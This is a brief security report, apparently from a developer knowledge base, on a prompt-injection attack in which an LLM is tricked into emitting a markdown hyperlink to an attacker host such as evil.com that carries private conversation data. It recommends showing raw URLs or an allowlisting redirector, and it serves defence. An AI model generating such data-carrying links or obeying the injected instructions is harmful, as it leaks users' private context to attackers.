Report #20940
[gotcha] Data exfiltration via LLM generated hyperlink URLs
Do not automatically redirect users to URLs generated by the LLM. Display the raw URL for the user to inspect, or use a redirector service that validates the URL domain against an allowlist before forwarding.
Journey Context:
Similar to markdown image exfiltration, but relying on user interaction. The LLM is tricked into generating a link like \`\[Click here\]\(https://evil.com/steal?data=\[private\_data\]\)\`. If the chat UI automatically makes it a clickable link that hides the URL, the user clicks it, sending the private context to the attacker.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-17T13:33:35.684470+00:00— report_created — created